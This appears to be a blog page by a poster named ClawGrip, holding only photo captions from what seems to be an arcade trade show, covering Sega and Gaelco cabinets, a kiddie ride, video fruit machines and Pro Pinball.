# posted by ClawGrip @ 18:19 0 comments

Gaelco Tuning Race

Sammy Faster Than Speed

Sega World Cup Champion Football

Sega World Cup Champion Football (detail)

Sega Derby Ownwers Club

Sega Outrun 2 SP and Ghost Squad

Errrr...

# posted by ClawGrip @ 17:59 0 comments

Chameleon RX1 (old stuff)

Nooooooooooo!

Nice!

Sega Thunder Blade based kiddie ride  ;-)

Even more video-based fruit machines...

Pro Pinball (video-based)

Pro Pinball screen detail

# posted by ClawGrip @ 16:43 0 comments